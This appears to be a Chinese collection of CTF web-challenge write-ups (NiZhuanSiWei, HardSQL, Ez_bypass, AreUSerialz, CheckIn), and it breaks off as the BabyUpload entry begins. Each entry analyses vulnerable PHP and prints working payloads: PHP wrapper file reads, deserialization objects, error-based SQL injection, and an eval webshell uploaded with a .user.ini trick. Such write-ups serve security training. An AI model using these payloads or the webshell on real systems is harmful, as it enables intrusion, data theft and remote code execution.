文件包含以及伪协议相关参考如下:
资料1 资料2

[ZJCTF 2019]NiZhuanSiWei

原始信息

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

解题

这题如果不知道php伪协议,绝对大坑。

源码分析

 <?php  
// 三个get传参
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
// 证实变量存在 读取变量的文件流并进行比对
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
// 表示不能直接读取flag
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
// 文件包含
include($file); //useless.php
// 反序列化
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

关键变量分析

参数text

# 文件数据流
$text = $_GET["text"];
# 这个需要使用的是data,简单写下明文的data文件流
# 需要文件流的来源是 file_get_contents($text,'r')
# 没有写成data就只能被当作字符串处理
?text=data://text/plain,welcome to the zjctf

参数file

# 文件读取
$file = $_GET["file"];
# 因为直接包含文件会出现文件内容被执行的情况
# 故需要把包含的源码进行编译
# 下面是编译为base64字符串
file=php://filter/read=convert.base64-encode/resource=useless.php

# 这里和上面拼接下就变成了:
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
# 页面出现了base64字符串
PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo
# 解码如下:
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}

变量password

# 反序列化
$password = $_GET["password"];
# 从上面的unserialize($password);知道这东西一定是序列化的某个已知类
# 一种是异常报错类(原生类),一种就是文件的个人定义的类了(自定义类)

# 借助上面得到的类,编译个payload:
class Flag{ //flag.php
public $file='flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$f = new Flag();
echo(serialize($f));
# 得到
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

#把这串东西放到参数当中,就变成了
password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最终payload

#第二参数需要导入那个文件,因为反序列化需要它
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

# 得到下面源码,也得到了flag
<br><h1>welcome to the zjctf</h1></br>
<br>oh u find it </br>

<!--but i cant give it to u now-->

<?php

if(2===3){
return ("flag{dd52775b-d222-4ac7-bc2a-1e2a53a37152}");
}

?>
<br>U R SO CLOSE !///COME ON PLZ

[极客大挑战 2019]HardSQL

原始信息

依然是给个登录框,进行sql注入。

http://67d77f80-f57c-4da5-a60f-cb69de569149.node4.buuoj.cn:81/check.php?username=1&password=2

解题

这题和之前做的那些题目大不相同,原因就是:

1.首先,这题显然已经不能用普通的SQL注入直接测注点了
2.其次,和上次一样会回显一些报错信息。
3.最后,题目提示了相关信息:HardSQL

尝试进行报错注入

1.测试时发现了 "空格" 被过滤,考虑使用其他方式代替空格。
2.过滤了 "and","*","=","\","-","<>"

尝试套壳报错注入

http://xxx.com?username=1&password=admin'or(updatexml(1,concat(0x7e,(插入点),0x7e),1))%23
或者
http://xxx.com?username=1&password=admin'or(updatexml(1,concat(0x7e,(插入点),0x7e),1))#

上面写着的“插入点”就是插入sql注入语句的意思。
下面只写注入的SQL语句,不写上面那个繁杂的格式了

sql注入语句

# 查库名
database()
# 回显
XPATH syntax error: '~geek~'

# 列出geek库相关的表
select(group_concat(table_name))from(information_schema.tables)where(table_schema)like("geek")
# 回显
XPATH syntax error: '~H4rDsq1~'

# 列出H4rDsq1表的所有字段
select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')
# 回显
XPATH syntax error: '~id,username,password~'



# 查值

select(group_concat(username))from(geek.H4rDsq1)
# 回显
XPATH syntax error: '~flag~'

select(group_concat(password))from(geek.H4rDsq1)
# 回显
XPATH syntax error: '~flag{ffae077e-cef8-4bb3-a190-48'

select(group_concat(right(password,31)))from(geek.H4rDsq1)where(id)like(1)
# 回显
XPATH syntax error: '~7e-cef8-4bb3-a190-48ef59defdc2}'
合并为:
flag{ffae077e-cef8-4bb3-a190-48ef59defdc2}'

总结

SQL报错注入

```

# [MRCTF2020]Ez_bypass

## 原始信息

```php
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}

}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}

解题

我们的目的就是突破层层限制,达到最内维的高亮限制flag

源码分析:

// 传参
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
// md5两个强对比的变量
// 一个是值相等,一个是值不相等。
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
// 验证获取的字符串是否为数字
if (!is_numeric($passwd))
{
// 弱类型比较
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}

我勒个去,刮痧伤害啊这题。
分分钟解决:

get:
http://xxx.xxx.com/?gg[]=1&id[]=2
post:
passwd=1234567a

[网鼎杯 2020 青龙组]AreUSerialz

原始信息

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}

解题

源码解读

第一层

if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
// 调用函数,返回true时进入反序列化
if(is_valid($str)) {
$obj = unserialize($str);
}
}

第二层

// 自定义函数
function is_valid($s) {
// for循环,循环的结果就是整个字符串的长度
for($i = 0; $i < strlen($s); $i++)
// 检测传入值的每个字符串的ASCII值
// 但凡大于32小于125的值,就掠过该if(不拦截的意思)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

第三层

class FileHandler {

protected $op;
protected $filename;
protected $content;

// 魔术方法,创建类即触发改方法
function __construct() {
// 赋值
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
// 调用函数
$this->process();
}


// 自定义函数
// 集成比较好,算是一个总控
public function process() {
// 下面都是使用if……else if……调用自定义函数的
// 不过多赘述
if($this->op == "1") {
$this->write();

# 弱类型比较的2,数字2也是可以的。
# 这里是读取文件内容的地方,后面需要用到
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
// 文件名和内容的存在检测
if(isset($this->filename) && isset($this->content)) {
// 内容长度大于100就调用输出函数
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
// 内容长度不大于100,把内容写入文件
$res = file_put_contents($this->filename, $this->content);
// 写入成功检测
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
// 文件名检测,存在文件名则输出文件内容
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
// 纯粹的输出
echo "[Result]: <br>";
echo $s;
}


// 结束时的魔术方法,结束改类即调用该方法
function __destruct() {
// 修正检测,修正op值2为1
# 因为是单个的强类型比较,所以说极为容易绕过,
# 只需要赋值个数字的2就行了
# 我们需要使用2来输出文件的内容
if($this->op === "2")
$this->op = "1";
// 置空内容
$this->content = "";
$this->process();
}
}

启发:解决了不可见字符\00*\00的问题:Sk1y博客
其次这个博客就没啥用了(毕竟全都推出来了,就差一步特殊字符)

其实上面三层代码都写清楚了,这里我就简单梳理下:

首先是核心代码,核心代码(第一层代码)
# 功能也就检测参数是否存在,存在则丢到"is_valid()"去检测
# 检测完成就进行反序列化
其次是检测函数
# 检测函数也就是检测传入的字符串的ASCII码值是否在合理范围
# 这里个人理解应该是URL编码绕过的点。
最后是那个庞大的类
# 这类,除了上面扯到的修改下防止特殊字符外还有些注意点
# 根据观察可以知道flag.php肯定是在当前目录
# 所以说,要给类的文件名写上flag.php
# 弱类型比较强类型绕过,所以说还得给op赋值个数字2
生成payload的时候,记得要url编码

payload:

<?php
class FileHandler
{
public $op = 2;
public $filename = 'flag.php';
public $content;
}

$a = new FileHandler;
var_dump(urlencode(serialize($a)));

返回的结果:

url:
http://f6b2341f-0bc9-4f0f-aa0c-ab72349a19a1.node4.buuoj.cn:81/
?str=O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3BN%3B%7D

最终网页源代码:

<code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php<br /><br /></span><span style="color: #007700">include(</span><span style="color: #DD0000">"flag.php"</span><span style="color: #007700">);<br /><br /></span><span style="color: #0000BB">highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br /><br />class&nbsp;</span><span style="color: #0000BB">FileHandler&nbsp;</span><span style="color: #007700">{<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;protected&nbsp;</span><span style="color: #0000BB">$op</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;protected&nbsp;</span><span style="color: #0000BB">$filename</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;protected&nbsp;</span><span style="color: #0000BB">$content</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;function&nbsp;</span><span style="color: #0000BB">__construct</span><span style="color: #007700">()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$op&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"1"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$filename&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"/tmp/tmpfile"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$content&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"Hello&nbsp;World!"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$this</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">process</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;function&nbsp;</span><span style="color: #0000BB">process</span><span style="color: #007700">()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">$this</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">op&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #DD0000">"1"</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$this</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">write</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if(</span><span style="color: #0000BB">$this</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">op&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #DD0000">"2"</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$res&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$this</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">read</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$this</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">output</span><span style="color: #007700">(</span><span style="color: #0000BB">$res</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$this</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">output</span><span style="color: #007700">(</span><span style="color: #DD0000">"Bad&nbsp;Hacker!"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;function&nbsp;</span><span style="color: #0000BB">write</span><span style="color: #007700">()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(isset(</span><span style="color: #0000BB">$this</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">filename</span><span style="color: #007700">)&nbsp;&amp;&amp;&nbsp;isset(</span><span style="color: #0000BB">$this</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">content</span><span style="color: #007700">))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">strlen</span><span style="color: #007700">((string)</span><span style="color: #0000BB">$this</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">content</span><span style="color: #007700">)&nbsp;&gt;&nbsp;</span><span style="color: #0000BB">100</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$this</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">output</span><span style="color: #007700">(</span><span style="color: #DD0000">"Too&nbsp;long!"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;die();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$res&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">file_put_contents</span><span style="color: #007700">(</span><span style="color: #0000BB">$this</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">filename</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$this</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">content</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">$res</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">$this</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">output</span><span style="color: #007700">(</span><span style="color: #DD0000">"Successful!"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;</span><span style="color: #0000BB">$this</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">output</span><span style="color: #007700">(</span><span style="color: #DD0000">"Failed!"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$this</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">output</span><span style="color: #007700">(</span><span style="color: #DD0000">"Failed!"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;function&nbsp;</span><span style="color: #0000BB">read</span><span style="color: #007700">()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$res&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">""</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(isset(</span><span style="color: #0000BB">$this</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">filename</span><span style="color: #007700">))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$res&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">file_get_contents</span><span style="color: #007700">(</span><span style="color: #0000BB">$this</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">filename</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">$res</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;function&nbsp;</span><span style="color: #0000BB">output</span><span style="color: #007700">(</span><span style="color: #0000BB">$s</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: #DD0000">"[Result]:&nbsp;&lt;br&gt;"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: #0000BB">$s</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;function&nbsp;</span><span style="color: #0000BB">__destruct</span><span style="color: #007700">()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">$this</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">op&nbsp;</span><span style="color: #007700">===&nbsp;</span><span style="color: #DD0000">"2"</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$this</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">op&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"1"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$this</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">content&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">""</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$this</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">process</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />}<br /><br />function&nbsp;</span><span style="color: #0000BB">is_valid</span><span style="color: #007700">(</span><span style="color: #0000BB">$s</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;for(</span><span style="color: #0000BB">$i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">$i&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">strlen</span><span style="color: #007700">(</span><span style="color: #0000BB">$s</span><span style="color: #007700">);&nbsp;</span><span style="color: #0000BB">$i</span><span style="color: #007700">++)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!(</span><span style="color: #0000BB">ord</span><span style="color: #007700">(</span><span style="color: #0000BB">$s</span><span style="color: #007700">[</span><span style="color: #0000BB">$i</span><span style="color: #007700">])&nbsp;&gt;=&nbsp;</span><span style="color: #0000BB">32&nbsp;</span><span style="color: #007700">&amp;&amp;&nbsp;</span><span style="color: #0000BB">ord</span><span style="color: #007700">(</span><span style="color: #0000BB">$s</span><span style="color: #007700">[</span><span style="color: #0000BB">$i</span><span style="color: #007700">])&nbsp;&lt;=&nbsp;</span><span style="color: #0000BB">125</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">true</span><span style="color: #007700">;<br />}<br /><br />if(isset(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">{</span><span style="color: #DD0000">'str'</span><span style="color: #007700">}))&nbsp;{<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$str&nbsp;</span><span style="color: #007700">=&nbsp;(string)</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'str'</span><span style="color: #007700">];<br />&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">is_valid</span><span style="color: #007700">(</span><span style="color: #0000BB">$str</span><span style="color: #007700">))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$obj&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">unserialize</span><span style="color: #007700">(</span><span style="color: #0000BB">$str</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />}<br /></span>
</span>
</code>[Result]: <br><?php $flag='flag{c023425c-d019-42da-85a6-8c5af280cf8f}';

[SUCTF 2019]CheckIn

原始信息

很好,这次的源码地址没有崩。

源码地址

$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
$tmp_name = $_FILES["fileUpload"]["tmp_name"];
$name = $_FILES["fileUpload"]["name"];
if (!$tmp_name) {
die("filesize too big!");
}
if (!$name) {
die("filename cannot be empty!");
}
$extension = substr($name, strrpos($name, ".") + 1);
if (preg_match("/ph|htacess/i", $extension)) {
die("illegal suffix!");
}
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
die("&lt;? in contents!");
}
$image_type = exif_imagetype($tmp_name);
if (!$image_type) {
die("exif_imagetype:not image!");
}
$upload_file_path = $userdir . "/" . $name;
move_uploaded_file($tmp_name, $upload_file_path);
echo "Your dir " . $userdir. ' <br>';
echo 'Your files : <br>';
var_dump(scandir($userdir));
}

解题

说实在,咋一看有点复杂。分析一波:

// 服务器上传文件的地址
# $_SERVER["REMOTE_ADDR"]是固定的,上传地址也就固定了。
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);

// 创建文件夹
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}

// 把路径反馈到index.php
file_put_contents($userdir . "/index.php", "");

// 文件上传参数
if (isset($_POST["upload"])) {
// 临时文件名
$tmp_name = $_FILES["fileUpload"]["tmp_name"];
// 真实文件名
$name = $_FILES["fileUpload"]["name"];
// 文件名和临时文件名的判断
if (!$tmp_name) {
die("filesize too big!");
}
if (!$name) {
die("filename cannot be empty!");
}

// strrpos:查name当中的 . 最后一次出现的索引值
// substr:截取字符串,从strrpos($name, ".") + 1开始截取
// 换言之,这个的用途是截取文件最后的后缀
$extension = substr($name, strrpos($name, ".") + 1);

// 正则表达式判断
// 文件名但凡出现ph就不给过,连配置文件htacess也一样
// (不给活路了是吧??)
if (preg_match("/ph|htacess/i", $extension)) {
die("illegal suffix!");
}

// 文件内容包含"<?"就截断在此输出某字符串
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
die("&lt;? in contents!");
}

// 获取指定文件的图像类型
$image_type = exif_imagetype($tmp_name);
// 不是图像就截断
if (!$image_type) {
die("exif_imagetype:not image!");
}

// 存储图像的路径
$upload_file_path = $userdir . "/" . $name;
// 把文件写入指定路径
move_uploaded_file($tmp_name, $upload_file_path);
echo "Your dir " . $userdir. ' <br>';
echo 'Your files : <br>';
var_dump(scandir($userdir));
}

我们的目的,就一个:传码一把梭

问题就变成了怎么传码,怎么绕过层层限制的问题。

后门构造

Content-Disposition: form-data; name="fileUpload"; filename="sss.jpg"
Content-Type: image/jpeg

GIF98a
<script language="php">eval($_POST[1]);</script>
-----------------------------63782609029444
Content-Disposition: form-data; name="upload"

提交
-----------------------------63782609029444--

脚本的图片是构造好了,但是关键是解析的环境……

任意文件解析的htaccess被封了,说明无法直接使用这个文件。

能出现这个可能就意味着这道题是文件包含题。

但是看到这个我想到了另外一种可能,也许这个代表的是修改配置文件,所以应该使用其他配置文件?

Content-Disposition: form-data; name="fileUpload"; filename=".user.ini"
Content-Type: image/jpeg

GIF98a
auto_prepend_file = sss.jpg
-----------------------------63782609029444
Content-Disposition: form-data; name="upload"

提交
-----------------------------63782609029444--

尝试上传.user.ini后,访问指定路径

get:
http://1394248a-f849-42f1-b23a-1350f9f15303.node4.buuoj.cn:81/uploads/c55e0cb61f7eb238df09ae30a206e5ee/
post:
1=system('cat /flag');
# 注:这个flag文件是先翻目录找出来再显示内容的。

总结

文件上传,文件解析漏洞。

容易掉坑的地方:

  1. 陷入思维误区:误以为要使用.htacess
  2. 路径访问错误:上传正确的文件后访问路径出问题导致无法正确的打开后门

[GXYCTF2019]BabyUpload

原始信息

<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />
<title>Upload</title>
<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
上传文件<input type=\"file\" name=\"uploaded\" />
<input type=\"submit\" name=\"submit\" value=\"上传\" />
</form>";
error_reporting(0);
if(!isset($_SESSION['user'])){
$_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
}
if(isset($_FILES['uploaded'])) {
$target_path = getcwd() . "/upload/" . md5($_SESSION['user']);
$t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
